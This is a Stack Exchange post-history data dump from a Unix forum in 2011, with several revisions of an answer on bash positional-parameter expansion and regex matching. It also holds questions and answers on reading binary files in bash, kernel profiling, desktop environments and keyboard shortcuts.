  <row Id="26080" PostHistoryTypeId="2" PostId="10797" RevisionGUID="ad0b6390-7610-40da-8756-0629a1cc94a2" CreationDate="2011-04-07T05:35:55.260" UserId="2343" Text="Your `getsubstr $var0` is passing 5 args to the function  &#xD;&#xA;Also, $* and $@ tests each individual **$** arg against the **#** patttern  &#xD;&#xA;&#xD;&#xA;The following script may help (by example)...    &#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #   &#xD;&#xA;    getsubstr() {&#xD;&#xA;      echo -n &quot; ${#@} args&quot;;&#xD;&#xA;      [[ &quot;$1$2$3$4$5$6&quot; == *\ * ]] &amp;&amp; echo &quot; (with embedded spaces)&quot; || echo &quot; (no spaces)&quot;&#xD;&#xA;      echo '                  &quot;${*}&quot;          '\|&quot;${*}&quot;\|&#xD;&#xA;      echo '                   ${*}           '\|${*}\|&#xD;&#xA;      echo '                  &quot;${@}&quot;          '\|&quot;${@}&quot;\|&#xD;&#xA;      echo '                   ${@}           '\|${@}\|&#xD;&#xA;      echo '                  &quot;${*#*&quot;${2}}&quot;   '\|&quot;${*#*&quot;${2}&quot;}&quot;\|&#xD;&#xA;      echo '                   ${*#*&quot;${2}}    '\|${*#*&quot;${2}&quot;}\|&#xD;&#xA;      echo '                  &quot;${@#*&quot;${2}}&quot;   '\|&quot;${@#*&quot;${2}&quot;}&quot;\|&#xD;&#xA;      echo '                   ${@#*&quot;${2}}    '\|${@#*&quot;${2}&quot;}\|&#xD;&#xA;      echo '                        ${*#B}    '\|${*#B}\|&#xD;&#xA;      echo '                       &quot;${*#B}&quot;   '\|&quot;${*#B}&quot;\|&#xD;&#xA;      echo '                        ${@#B}    '\|${@#B}\|&#xD;&#xA;      echo '                       &quot;${@#B}&quot;   '\|&quot;${@#B}&quot;\|&#xD;&#xA;    }&#xD;&#xA;    var0=&quot;a B c      &quot;&#xD;&#xA;    echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr &quot;$var0&quot; ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr  $var0  ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr &quot;$var0&quot; &quot;$var0&quot; ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr  $var0   $var0  ; echo&#xD;&#xA;    echo&#xD;&#xA;    exit &#xD;&#xA;    ###################################################################&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26081" PostHistoryTypeId="5" PostId="10797" RevisionGUID="e502d2ad-7732-446a-ac79-2f21758ad108" CreationDate="2011-04-07T05:49:24.827" UserId="2343" Comment="added 409 characters in body; deleted 30 characters in body; added 407 characters in body" Text="Your `getsubstr $var0` is passing 5 args to the function  &#xD;&#xA;Also, $* and $@ tests each individual **$** arg against the **#** patttern  &#xD;&#xA;&#xD;&#xA;Regardomg RegEx in bash: (I've added some examples at the end)&#xD;&#xA;&#xD;&#xA;The following script may help (by example)...    &#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #   &#xD;&#xA;    getsubstr() {&#xD;&#xA;      echo -n &quot; ${#@} args&quot;;&#xD;&#xA;      [[ &quot;$1$2$3$4$5$6&quot; == *\ * ]] &amp;&amp; echo &quot; (with embedded spaces)&quot; || echo &quot; (no spaces)&quot;&#xD;&#xA;      echo '                  &quot;${*}&quot;          '\|&quot;${*}&quot;\|&#xD;&#xA;      echo '                   ${*}           '\|${*}\|&#xD;&#xA;      echo '                  &quot;${@}&quot;          '\|&quot;${@}&quot;\|&#xD;&#xA;      echo '                   ${@}           '\|${@}\|&#xD;&#xA;      echo '                  &quot;${*#*&quot;${2}}&quot;   '\|&quot;${*#*&quot;${2}&quot;}&quot;\|&#xD;&#xA;      echo '                   ${*#*&quot;${2}}    '\|${*#*&quot;${2}&quot;}\|&#xD;&#xA;      echo '                  &quot;${@#*&quot;${2}}&quot;   '\|&quot;${@#*&quot;${2}&quot;}&quot;\|&#xD;&#xA;      echo '                   ${@#*&quot;${2}}    '\|${@#*&quot;${2}&quot;}\|&#xD;&#xA;      echo '                        ${*#B}    '\|${*#B}\|&#xD;&#xA;      echo '                       &quot;${*#B}&quot;   '\|&quot;${*#B}&quot;\|&#xD;&#xA;      echo '                        ${@#B}    '\|${@#B}\|&#xD;&#xA;      echo '                       &quot;${@#B}&quot;   '\|&quot;${@#B}&quot;\|&#xD;&#xA;    }&#xD;&#xA;    var0=&quot;a B c      &quot;&#xD;&#xA;    echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr &quot;$var0&quot; ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr  $var0  ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr &quot;$var0&quot; &quot;$var0&quot; ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr  $var0   $var0  ; echo&#xD;&#xA;    echo&#xD;&#xA;    exit &#xD;&#xA;    ###################################################################&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;RegEx in `bash` &#xD;&#xA;&#xD;&#xA;    # Regex checks: &quot;=~&quot; uses extended regular expression&#xD;&#xA;    #+  Parenthesized subexpressions within the regular expression are saved&#xD;&#xA;    #+  in the array variable BASH_REMATCH&#xD;&#xA;    #+  $BASH_REMATCH / ${BASH_REMATCH[0]} is the string matching the entire regular expression. &#xD;&#xA;    #+  ${BASH_REMATCH[n]} is the sub string matching the nth parenthesized subexpression&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# $BASH_REMATCH&quot;&#xD;&#xA;    # abc&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[0]}&quot;&#xD;&#xA;    # abc&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[2]}&quot;&#xD;&#xA;    # b&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[@]}&quot;&#xD;&#xA;    # abc a b c&#xD;&#xA;&#xD;&#xA;----" />
  <row Id="26082" PostHistoryTypeId="5" PostId="10797" RevisionGUID="bee1df54-36f6-4aab-8303-49d245ef9305" CreationDate="2011-04-07T05:56:12.920" UserId="2343" Comment="added 2 characters in body; added 84 characters in body; added 15 characters in body" Text="Your `getsubstr $var0` is passing 5 args to the function  &#xD;&#xA;Also, $* and $@ tests each individual **$** arg against the **#** patttern  &#xD;&#xA;&#xD;&#xA;Regarding RegEx in `bash`: I've added some examples at the end)   .. and btw '*' is only a special regex char when it is used in a regex setting.   &#xD;&#xA;&#xD;&#xA;The following script may help with $@ and $* (by example)...    &#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #   &#xD;&#xA;    getsubstr() {&#xD;&#xA;      echo -n &quot; ${#@} args&quot;;&#xD;&#xA;      [[ &quot;$1$2$3$4$5$6&quot; == *\ * ]] &amp;&amp; echo &quot; (with embedded spaces)&quot; || echo &quot; (no spaces)&quot;&#xD;&#xA;      echo '                  &quot;${*}&quot;          '\|&quot;${*}&quot;\|&#xD;&#xA;      echo '                   ${*}           '\|${*}\|&#xD;&#xA;      echo '                  &quot;${@}&quot;          '\|&quot;${@}&quot;\|&#xD;&#xA;      echo '                   ${@}           '\|${@}\|&#xD;&#xA;      echo '                  &quot;${*#*&quot;${2}}&quot;   '\|&quot;${*#*&quot;${2}&quot;}&quot;\|&#xD;&#xA;      echo '                   ${*#*&quot;${2}}    '\|${*#*&quot;${2}&quot;}\|&#xD;&#xA;      echo '                  &quot;${@#*&quot;${2}}&quot;   '\|&quot;${@#*&quot;${2}&quot;}&quot;\|&#xD;&#xA;      echo '                   ${@#*&quot;${2}}    '\|${@#*&quot;${2}&quot;}\|&#xD;&#xA;      echo '                        ${*#B}    '\|${*#B}\|&#xD;&#xA;      echo '                       &quot;${*#B}&quot;   '\|&quot;${*#B}&quot;\|&#xD;&#xA;      echo '                        ${@#B}    '\|${@#B}\|&#xD;&#xA;      echo '                       &quot;${@#B}&quot;   '\|&quot;${@#B}&quot;\|&#xD;&#xA;    }&#xD;&#xA;    var0=&quot;a B c      &quot;&#xD;&#xA;    echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr &quot;$var0&quot; ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr  $var0  ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr &quot;$var0&quot; &quot;$var0&quot; ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr  $var0   $var0  ; echo&#xD;&#xA;    echo&#xD;&#xA;    exit &#xD;&#xA;    ###################################################################&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;RegEx in `bash` &#xD;&#xA;&#xD;&#xA;    # Regex checks: &quot;=~&quot; uses extended regular expression&#xD;&#xA;    #+  Parenthesized subexpressions within the regular expression are saved&#xD;&#xA;    #+  in the array variable BASH_REMATCH&#xD;&#xA;    #+  $BASH_REMATCH / ${BASH_REMATCH[0]} is the string matching the entire regular expression. &#xD;&#xA;    #+  ${BASH_REMATCH[n]} is the sub string matching the nth parenthesized subexpression&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# $BASH_REMATCH&quot;&#xD;&#xA;    # abc&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[0]}&quot;&#xD;&#xA;    # abc&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[2]}&quot;&#xD;&#xA;    # b&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[@]}&quot;&#xD;&#xA;    # abc a b c&#xD;&#xA;&#xD;&#xA;----" />
  <row Id="26083" PostHistoryTypeId="2" PostId="10798" RevisionGUID="f002953a-d26c-4a3e-8799-2df128b6df5a" CreationDate="2011-04-07T05:59:07.970" UserId="5861" Text="Related to my previous post(http://unix.stackexchange.com/questions/9567/where-can-i-find-information-on-linux-device-driver-parameters)....... I did not find any specific driver for which I can do profiling and benchmarking. However there is a one driver jffs2filesystem for flash devices but I didn't know about any specific profiling tool and is it possible to do profiling without having flash device(that means for virtual hardware). And please tell me if we can do profiling(by changing various parameters) test for other kernel portions like memory management and process scheduling and what are the sources to study about it and profiling tools to do it efficiently and accurately. &#xD;&#xA;&#xD;&#xA;Thanks &#xD;&#xA;&#xD;&#xA;Sushant&#xD;&#xA;" />
  <row Id="26084" PostHistoryTypeId="1" PostId="10798" RevisionGUID="f002953a-d26c-4a3e-8799-2df128b6df5a" CreationDate="2011-04-07T05:59:07.970" UserId="5861" Text="sources for doing profiling of kernel portions?" />
  <row Id="26085" PostHistoryTypeId="3" PostId="10798" RevisionGUID="f002953a-d26c-4a3e-8799-2df128b6df5a" CreationDate="2011-04-07T05:59:07.970" UserId="5861" Text="élinuxàékernelàékernelödriversà" />
  <row Id="26086" PostHistoryTypeId="5" PostId="10797" RevisionGUID="79cb0774-e9cb-4dc5-bdd5-38616f8a68ab" CreationDate="2011-04-07T06:01:49.857" UserId="2343" Comment="added 26 characters in body; edited body; added 1 characters in body" Text="Your `getsubstr $var0` is passing 5 args to the function  &#xD;&#xA;Also, $* and $@ tests each individual **$** arg against the **#** patttern  &#xD;&#xA;&#xD;&#xA;Regarding RegEx in `bash`: I've added some examples at the end)   .. and btw,  '*' is only a *special regex char* when it is used in a regex context, ie. when using  **=~**   &#xD;&#xA;&#xD;&#xA;The following script may help with $@ and $* (by example)...    &#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #   &#xD;&#xA;    getsubstr() {&#xD;&#xA;      echo -n &quot; ${#@} args&quot;;&#xD;&#xA;      [[ &quot;$1$2$3$4$5$6&quot; == *\ * ]] &amp;&amp; echo &quot; (with embedded spaces)&quot; || echo &quot; (no spaces)&quot;&#xD;&#xA;      echo '                  &quot;${*}&quot;          '\|&quot;${*}&quot;\|&#xD;&#xA;      echo '                   ${*}           '\|${*}\|&#xD;&#xA;      echo '                  &quot;${@}&quot;          '\|&quot;${@}&quot;\|&#xD;&#xA;      echo '                   ${@}           '\|${@}\|&#xD;&#xA;      echo '                  &quot;${*#*&quot;${2}}&quot;   '\|&quot;${*#*&quot;${2}&quot;}&quot;\|&#xD;&#xA;      echo '                   ${*#*&quot;${2}}    '\|${*#*&quot;${2}&quot;}\|&#xD;&#xA;      echo '                  &quot;${@#*&quot;${2}}&quot;   '\|&quot;${@#*&quot;${2}&quot;}&quot;\|&#xD;&#xA;      echo '                   ${@#*&quot;${2}}    '\|${@#*&quot;${2}&quot;}\|&#xD;&#xA;      echo '                        ${*#B}    '\|${*#B}\|&#xD;&#xA;      echo '                       &quot;${*#B}&quot;   '\|&quot;${*#B}&quot;\|&#xD;&#xA;      echo '                        ${@#B}    '\|${@#B}\|&#xD;&#xA;      echo '                       &quot;${@#B}&quot;   '\|&quot;${@#B}&quot;\|&#xD;&#xA;    }&#xD;&#xA;    var0=&quot;a B c      &quot;&#xD;&#xA;    echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr &quot;$var0&quot; ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr  $var0  ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr &quot;$var0&quot; &quot;$var0&quot; ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr  $var0   $var0  ; echo&#xD;&#xA;    echo&#xD;&#xA;    exit &#xD;&#xA;    ###################################################################&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;RegEx in `bash` &#xD;&#xA;&#xD;&#xA;    # Regex checks: &quot;=~&quot; uses extended regular expression&#xD;&#xA;    #+  Parenthesized subexpressions within the regular expression are saved&#xD;&#xA;    #+  in the array variable BASH_REMATCH&#xD;&#xA;    #+  $BASH_REMATCH / ${BASH_REMATCH[0]} is the string matching the entire regular expression. &#xD;&#xA;    #+  ${BASH_REMATCH[n]} is the sub string matching the nth parenthesized subexpression&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# $BASH_REMATCH&quot;&#xD;&#xA;    # abc&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[0]}&quot;&#xD;&#xA;    # abc&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[2]}&quot;&#xD;&#xA;    # b&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[@]}&quot;&#xD;&#xA;    # abc a b c&#xD;&#xA;&#xD;&#xA;----" />
  <row Id="26087" PostHistoryTypeId="25" PostId="10752" RevisionGUID="5443fb99-5cb6-4a70-a63c-12a5d2578ef5" CreationDate="2011-04-07T06:09:01.770" Comment="http://twitter.com/#!/StackUnix/status/55874702970863616" />
  <row Id="26089" PostHistoryTypeId="5" PostId="10797" RevisionGUID="218c5fd2-fdf0-4cae-babc-f709a5d23642" CreationDate="2011-04-07T06:36:52.230" UserId="2343" Comment="added 316 characters in body; deleted 2 characters in body; added 8 characters in body" Text="Your `getsubstr $var0` is passing 5 args to the function  &#xD;&#xA;Also, $* and $@ tests each individual *$1 $2 etc..* arg against the **#** patttern  &#xD;&#xA;&#xD;&#xA;Regarding RegEx in `bash`: I've added some examples at the end)   .. and btw,  '*' is only a *special regex char* when it is used in a regex context, ie. when using  **=~** ...  &#xD;&#xA;In your first use of * in `${*`, the asterisk's special use is as the name of a var which expands to all the vars: $1 $2 $...etc...  &#xD;&#xA;Your second use of an asterisk,in `#*&quot;${2}&quot;`, means *&quot;$2&quot; preceded by anything indluding nothing*, is to be matched against each passed $1 etc arg seperately/individually.   &#xD;&#xA;&#xD;&#xA;The following script may help with $@ and $* (by example)...    &#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #   &#xD;&#xA;    getsubstr() {&#xD;&#xA;      echo -n &quot; ${#@} args&quot;;&#xD;&#xA;      [[ &quot;$1$2$3$4$5$6&quot; == *\ * ]] &amp;&amp; echo &quot; (with embedded spaces)&quot; || echo &quot; (no spaces)&quot;&#xD;&#xA;      echo '                  &quot;${*}&quot;          '\|&quot;${*}&quot;\|&#xD;&#xA;      echo '                   ${*}           '\|${*}\|&#xD;&#xA;      echo '                  &quot;${@}&quot;          '\|&quot;${@}&quot;\|&#xD;&#xA;      echo '                   ${@}           '\|${@}\|&#xD;&#xA;      echo '                  &quot;${*#*&quot;${2}}&quot;   '\|&quot;${*#*&quot;${2}&quot;}&quot;\|&#xD;&#xA;      echo '                   ${*#*&quot;${2}}    '\|${*#*&quot;${2}&quot;}\|&#xD;&#xA;      echo '                  &quot;${@#*&quot;${2}}&quot;   '\|&quot;${@#*&quot;${2}&quot;}&quot;\|&#xD;&#xA;      echo '                   ${@#*&quot;${2}}    '\|${@#*&quot;${2}&quot;}\|&#xD;&#xA;      echo '                        ${*#B}    '\|${*#B}\|&#xD;&#xA;      echo '                       &quot;${*#B}&quot;   '\|&quot;${*#B}&quot;\|&#xD;&#xA;      echo '                        ${@#B}    '\|${@#B}\|&#xD;&#xA;      echo '                       &quot;${@#B}&quot;   '\|&quot;${@#B}&quot;\|&#xD;&#xA;    }&#xD;&#xA;    var0=&quot;a B c      &quot;&#xD;&#xA;    echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr &quot;$var0&quot; ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr  $var0  ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr &quot;$var0&quot; &quot;$var0&quot; ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr  $var0   $var0  ; echo&#xD;&#xA;    echo&#xD;&#xA;    exit &#xD;&#xA;    ###################################################################&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;RegEx in `bash` &#xD;&#xA;&#xD;&#xA;    # Regex checks: &quot;=~&quot; uses extended regular expression&#xD;&#xA;    #+  Parenthesized subexpressions within the regular expression are saved&#xD;&#xA;    #+  in the array variable BASH_REMATCH&#xD;&#xA;    #+  $BASH_REMATCH / ${BASH_REMATCH[0]} is the string matching the entire regular expression. &#xD;&#xA;    #+  ${BASH_REMATCH[n]} is the sub string matching the nth parenthesized subexpression&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# $BASH_REMATCH&quot;&#xD;&#xA;    # abc&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[0]}&quot;&#xD;&#xA;    # abc&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[2]}&quot;&#xD;&#xA;    # b&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[@]}&quot;&#xD;&#xA;    # abc a b c&#xD;&#xA;&#xD;&#xA;----" />
  <row Id="26090" PostHistoryTypeId="5" PostId="10797" RevisionGUID="061ad612-846f-404f-99e5-db49ce30ba28" CreationDate="2011-04-07T06:42:05.313" UserId="2343" Comment="added 10 characters in body; added 19 characters in body" Text="Your `getsubstr $var0` is passing 5 args to the function  &#xD;&#xA;Also, $* and $@ tests each individual *$1 $2 etc..* arg against the **#** patttern  &#xD;&#xA;&#xD;&#xA;Regarding RegEx in `bash`: I've added some examples at the end)   .. and btw,  '*' is only a *special regex char* when it is used in a regex context, ie. when using  **=~** ...  &#xD;&#xA;In your first use of * in `${*`, the asterisk's special use is as the *(psuedo)name* of a var which expands to a concatenation of all the vars: $1 $2 $...etc...  &#xD;&#xA;Your second use of an asterisk,in `#*&quot;${2}&quot;`, means *&quot;$2&quot; preceded by anything indluding nothing*, is to be matched against each passed $1 etc arg seperately/individually.   &#xD;&#xA;&#xD;&#xA;The following script may help with $@ and $* (by example)...    &#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #   &#xD;&#xA;    getsubstr() {&#xD;&#xA;      echo -n &quot; ${#@} args&quot;;&#xD;&#xA;      [[ &quot;$1$2$3$4$5$6&quot; == *\ * ]] &amp;&amp; echo &quot; (with embedded spaces)&quot; || echo &quot; (no spaces)&quot;&#xD;&#xA;      echo '                  &quot;${*}&quot;          '\|&quot;${*}&quot;\|&#xD;&#xA;      echo '                   ${*}           '\|${*}\|&#xD;&#xA;      echo '                  &quot;${@}&quot;          '\|&quot;${@}&quot;\|&#xD;&#xA;      echo '                   ${@}           '\|${@}\|&#xD;&#xA;      echo '                  &quot;${*#*&quot;${2}}&quot;   '\|&quot;${*#*&quot;${2}&quot;}&quot;\|&#xD;&#xA;      echo '                   ${*#*&quot;${2}}    '\|${*#*&quot;${2}&quot;}\|&#xD;&#xA;      echo '                  &quot;${@#*&quot;${2}}&quot;   '\|&quot;${@#*&quot;${2}&quot;}&quot;\|&#xD;&#xA;      echo '                   ${@#*&quot;${2}}    '\|${@#*&quot;${2}&quot;}\|&#xD;&#xA;      echo '                        ${*#B}    '\|${*#B}\|&#xD;&#xA;      echo '                       &quot;${*#B}&quot;   '\|&quot;${*#B}&quot;\|&#xD;&#xA;      echo '                        ${@#B}    '\|${@#B}\|&#xD;&#xA;      echo '                       &quot;${@#B}&quot;   '\|&quot;${@#B}&quot;\|&#xD;&#xA;    }&#xD;&#xA;    var0=&quot;a B c      &quot;&#xD;&#xA;    echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr &quot;$var0&quot; ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr  $var0  ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr &quot;$var0&quot; &quot;$var0&quot; ; echo&#xD;&#xA;    echo -n &quot;Passing &quot;; getsubstr  $var0   $var0  ; echo&#xD;&#xA;    echo&#xD;&#xA;    exit &#xD;&#xA;    ###################################################################&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;RegEx in `bash` &#xD;&#xA;&#xD;&#xA;    # Regex checks: &quot;=~&quot; uses extended regular expression&#xD;&#xA;    #+  Parenthesized subexpressions within the regular expression are saved&#xD;&#xA;    #+  in the array variable BASH_REMATCH&#xD;&#xA;    #+  $BASH_REMATCH / ${BASH_REMATCH[0]} is the string matching the entire regular expression. &#xD;&#xA;    #+  ${BASH_REMATCH[n]} is the sub string matching the nth parenthesized subexpression&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# $BASH_REMATCH&quot;&#xD;&#xA;    # abc&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[0]}&quot;&#xD;&#xA;    # abc&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[2]}&quot;&#xD;&#xA;    # b&#xD;&#xA;&#xD;&#xA;      [[ &quot;abcdef&quot; =~ (.)(.)(.) ]] &amp;&amp; echo &quot;# ${BASH_REMATCH[@]}&quot;&#xD;&#xA;    # abc a b c&#xD;&#xA;&#xD;&#xA;----" />
  <row Id="26091" PostHistoryTypeId="2" PostId="10800" RevisionGUID="30a18f5d-0b6d-4975-bdd4-054c9777a65d" CreationDate="2011-04-07T06:49:48.147" UserId="5884" Text="It is possible to keep several DM on one box. I have KDE3, Gnome2, KDE4 (and I use KDE3). In your Login Manager choose the type of DM you would like to use and that's it. I guess (!) Gnome3 should be just an option here -- so you don't have to remove it entirely.&#xD;&#xA;&#xD;&#xA;I will try out Gnome3 too, but initially only in VirtualBox. Never install pure, fresh novelties on live system!" />
  <row Id="26092" PostHistoryTypeId="2" PostId="10801" RevisionGUID="9bddaf4d-08fd-4205-a47a-c12a01c8511d" CreationDate="2011-04-07T06:55:27.097" UserId="5495" Text="I want to read a character and then a fixed length of string (the string is not null terminated in the file, and its length is given by the preceding character). &#xD;&#xA;&#xD;&#xA;How can I do this in a bash script? How to define the string variable so that I can do some post-processing on it.&#xD;&#xA;&#xD;&#xA;Great thanks!&#xD;&#xA;&#xD;&#xA;Amanda" />
  <row Id="26093" PostHistoryTypeId="1" PostId="10801" RevisionGUID="9bddaf4d-08fd-4205-a47a-c12a01c8511d" CreationDate="2011-04-07T06:55:27.097" UserId="5495" Text="How to use bash script to read binary file content?" />
  <row Id="26094" PostHistoryTypeId="3" PostId="10801" RevisionGUID="9bddaf4d-08fd-4205-a47a-c12a01c8511d" CreationDate="2011-04-07T06:55:27.097" UserId="5495" Text="élinuxàébashà" />
  <row Id="26097" PostHistoryTypeId="2" PostId="10804" RevisionGUID="9d0acd0c-c1de-46fd-9247-d0e603612e9e" CreationDate="2011-04-07T07:29:32.857" UserId="885" Text="Shell utilities aren't geared towards dealing with binary files. While what you want is technically possible (using `head` to extract a fixed number of characters and `od` to convert the length byte to a number), it'll be a lot easier in Perl or Python.&#xD;&#xA;&#xD;&#xA;    &lt;input_file perl -e '&#xD;&#xA;      read STDIN, $c, 1 or die $!;    # read length byte&#xD;&#xA;      $n = read STDIN, $s, ord($c);   # read data&#xD;&#xA;      die $! if !defined $n;&#xD;&#xA;      die &quot;Input file too short&quot; if ($n != ord($c));&#xD;&#xA;      # post-process $s here&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;Note that if you write `string=$(perl …)`, if the binary data happens to end in a newline, the shell will strip it. I recommend doing the postprocessing in Perl; but if you want to stick with the shell, you can tell Perl to append a character and have the shell strip it:&#xD;&#xA;&#xD;&#xA;    string=$(&lt;input_file perl -e '…; print &quot;$s.&quot;') &amp;&amp; string=${string%.}&#xD;&#xA;&#xD;&#xA;Python equivalent:&#xD;&#xA;&#xD;&#xA;    string=$(&lt;input_file python -c '&#xD;&#xA;      import sys&#xD;&#xA;      n = ord(sys.stdin.read(1))&#xD;&#xA;      s = sys.stdin.read(n)&#xD;&#xA;      if len(s) &lt; n: raise ValueError(&quot;input file too short&quot;)&#xD;&#xA;      print s + &quot;.&quot;&#xD;&#xA;    ') &amp;&amp; string=${string%.}&#xD;&#xA;" />
  <row Id="26098" PostHistoryTypeId="6" PostId="10801" RevisionGUID="288dfad4-ab73-43c3-9077-c823ab6a8fd5" CreationDate="2011-04-07T07:29:55.713" UserId="885" Comment="edited tags" Text="ébashàétextöprocessingàébinaryà" />
  <row Id="26099" PostHistoryTypeId="5" PostId="10798" RevisionGUID="34a07fe9-ef9d-4dd3-85bd-8415c79c98af" CreationDate="2011-04-07T07:31:12.623" UserId="885" Comment="deleted 24 characters in body; edited tags" Text="Related to [my previous post](http://unix.stackexchange.com/questions/9567/where-can-i-find-information-on-linux-device-driver-parameters). I did not find any specific driver for which I can do profiling and benchmarking. However there is a one driver jffs2 filesystem for flash devices but I didn't know about any specific profiling tool and is it possible to do profiling without having flash device(that means for virtual hardware). And please tell me if we can do profiling (by changing various parameters) test for other kernel portions like memory management and process scheduling and what are the sources to study about it and profiling tools to do it efficiently and accurately. &#xD;&#xA;" />
  <row Id="26100" PostHistoryTypeId="6" PostId="10798" RevisionGUID="34a07fe9-ef9d-4dd3-85bd-8415c79c98af" CreationDate="2011-04-07T07:31:12.623" UserId="885" Comment="deleted 24 characters in body; edited tags" Text="élinuxàékernelàékernelödriversàéprofilingà" />
  <row Id="26101" PostHistoryTypeId="2" PostId="10805" RevisionGUID="76224cd4-1744-41ff-94e1-1c7e7b0e1d65" CreationDate="2011-04-07T07:33:32.480" UserId="2832" Text="Probably they are used by inodes. Some amount may be used up by MBR. " />
  <row Id="26102" PostHistoryTypeId="2" PostId="10806" RevisionGUID="27676cb0-60d9-425a-851f-bef920cdf0ae" CreationDate="2011-04-07T08:22:04.237" UserId="1594" Text="How do I configure Ctrl-Left and Ctrl-Right as previous/next word shortcuts for bash (currently alt-b and alt-f)?" />
  <row Id="26103" PostHistoryTypeId="1" PostId="10806" RevisionGUID="27676cb0-60d9-425a-851f-bef920cdf0ae" CreationDate="2011-04-07T08:22:04.237" UserId="1594" Text="How to change previous/next word shortcut in bash?" />
  <row Id="26104" PostHistoryTypeId="3" PostId="10806" RevisionGUID="27676cb0-60d9-425a-851f-bef920cdf0ae" CreationDate="2011-04-07T08:22:04.237" UserId="1594" Text="ébashàékeyboardöshortcutsà" />
